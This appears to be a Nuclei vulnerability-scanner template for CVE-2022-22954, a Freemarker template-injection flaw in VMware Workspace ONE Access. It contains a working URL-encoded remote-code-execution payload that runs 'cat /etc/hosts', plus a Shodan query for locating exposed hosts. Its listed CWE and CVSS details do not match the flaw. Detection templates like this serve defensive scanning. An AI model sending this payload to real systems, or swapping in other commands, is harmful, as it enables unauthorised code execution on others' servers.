id: CVE-2022-22954 info: name: VMware Workspace ONE Access - Freemarker SSTI author: sherlocksecurity severity: critical description: An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw. reference: - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 9.8 cve-id: CVE-2022-22954 cwe-id: CWE-22 metadata: shodan-query: http.favicon.hash:-1250474341 tags: cve,cve2022,vmware,ssti,workspaceone requests: - method: GET path: - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" # Executes cat /etc/hosts matchers-condition: and matchers: - type: word words: - "Authorization context is not valid" - type: status status: - 400